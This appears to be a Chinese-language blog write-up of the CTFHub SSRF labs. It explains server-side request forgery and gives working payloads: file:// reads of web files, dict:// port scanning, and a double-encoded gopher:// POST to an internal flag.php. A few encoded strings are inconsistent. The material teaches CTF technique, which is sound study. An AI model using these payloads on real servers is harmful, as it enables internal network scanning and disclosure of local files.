CTFHub:SSRF

SSRF:Server-Side Request Forgery

SSRF基本概念:

SSRF(Server-Side Request Forgery)服务器端请求伪造:是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者借由服务端为跳板来攻击目标系统。

SSRF攻击过程和原理:

攻击过程:
攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用.
原理:
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。
SSRF漏洞的核心就是服务器因为你的传参而偷偷向目标主机发送数据包,以达到访问内网中主机的目的。(因为这个数据包时服务器发送的,所以可以请求到我们在外网中请求不到的与外网隔离的内部系统)
我们发送的数据包可以让服务端发送数据包的实现原理:

1
2
3
4
我们先来看翻译单词:这个很简单,就是我们通过GET/POST传参让服务器查询数据库然后就可以返回我们所要的结果了
然后是翻译网页:一般来说有两种方法:
一种是你自己主机访问目标站点,翻译网站通过JS获取你访问的结果然后就与翻译单词几乎一样了,但是这种方式非常不安全,因为翻译网站可能通过JS来获取到你浏览器上保存的用户名密码等的敏感信息,所以这一种方法很少有人使用
第二种方法就是翻译网站代替我们去访问目标站点,对其查询翻译之后直接返回给我们,这其实只是一个功能点不能说是漏洞,但是如果我们这里直接通过服务器去访问到内网的一些主机,但是内网的过滤又很一般,就可能导致许多非法操作

SSRF漏洞相关函数

1.file_get_contents():
file_get_contents():函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户


构造paylaod即可读取服务器本地的任意文件;readfile()函数与file_get_contents()函数相似。
2.fsockopen():

1
2
3
4
5
6
7
fsockopen(
string $hostname,
int $port = -1,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null
): resource|false

这个函数较为复杂,详情看此链接https://www.php.cn/php-weizijiaocheng-445141.html
我自己的理解是可以通过此函数获取用户指定url的数据(文件或者html)
3.curl_exec():执行指定的curl会话;cURL是一个利用URL语法在命令行下工作的文件传输工具。它支持文件上传和下载,所以是综合传输工具。

SSRF漏洞的相关URL伪协议

注:当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
1.file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
2.http/s协议:内网的ip扫描和端口探测;探测内网主机存活;这里可以利用bp来进行爆破
3.Dict协议:查看端口,版本信息;向服务器端口请求curl命令
4.Gopher协议:发送各种格式的请求包

SSRF:内网访问


看到上面的url之后我们马上就要想到这是ssrf;根据要求尝试访问位于127.0.0.1的flag.php;所以此时我们构造payload

1
?url=http://127.0.0.1/flag.php

SSRF:伪协议读取文件

此时根据要求尝试去读取一下Web目录下的flag.php吧;因为需要读取文件,所以我们马上想到了file协议此时构造payload

1
?url=file:///var/www/html/flag.php

原本我是打算使用目录穿越的方法的;因为我提前并不知道web目录;但是尝试后发现目录穿越的方法似乎行不通

SSRF:端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦;此时我们应该想到dict协议;此时构造payload为

1
?url=dict://127.0.0.1:8000

然后利用bp进行辅助爆破;此时发现8952这个端口有响应;

所以此时我们将payload改为

1
?url=http://127.0.0.1:8952

Gopher协议

Gopher协议可以理解为http协议的前身,因为在ssrf中http协议可能会无法利用;所以此时我们就可以利用gopher协议
Gopher协议的格式:
1.发起POST请求时,回车换行需要使用%0D%0A代替,结尾也要加上%0d%0a
2.参数之间的&需要进行URL编码
3.参数以_开头 ,否则第一个字符会被吞掉

SSRF:POST

此时打开界面后发现是空白界面;所以此时我们使用dirsearch进行后台扫描;发现隐藏了一个flag.php;

此时我们可以对这个文件进行一个内网访问和读取;我们先构造内网访问的payload:?url=127.0.0.1/flag.php

接着我们读取该文件payload:?url=file://127.0.0.1/var/www/html/flag.php

我们可以知道当我们以POST的形式来提交key的时候且此时提交的key等于刚才访问界面时看到的key一致时;则会输出flag
所以接下来的思路便是以POST的形式来提交key;此时我们来看看最基础的POST包所需要具备的东西

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e16fa88af5e0f05d682a9388da84268b

此时需要注意的是Content-Length的值需要和我们POST请求的长度一致;此时我们便可以利用gopher协议以POST的方式对flag.php界面进行提交key;此时先对我们的POST请求进行一次url编码

1
POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=e16fa88af5e0f05d682a9388da84268b

然后根据Gopher协议;我们需要使用%0D0A来代替第一次编码中出现的%0A;替换之后的payload变为

1
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=e16fa88af5e0f05d682a9388da84268b%0d0a

接着在进行一次的url编码即可提交;这是一共经过两次编码得出的POST请求

1
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost:%252520127.0.0.1:80%25250D%25250AContent-Type:%252520application/x-www-form-urlencoded%25250D%25250AContent-Length:%25252036%25250D%25250A%25250D%25250Akey=e16fa88af5e0f05d682a9388da84268b%25250d0a

此时我们利用Gopher协议进行提交

1
?url=gopher://127.0.0.1/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=e16fa88af5e0f05d682a9388da84268b%250d0a

url编码两次的原因是因为:第一我们使用get方式进行提交,此时浏览器会对我们提交的东西进行一次解码;第二次编码的原因是因为gopher协议里面还会包含一次跳转解码;所以我们需要进行两次的编码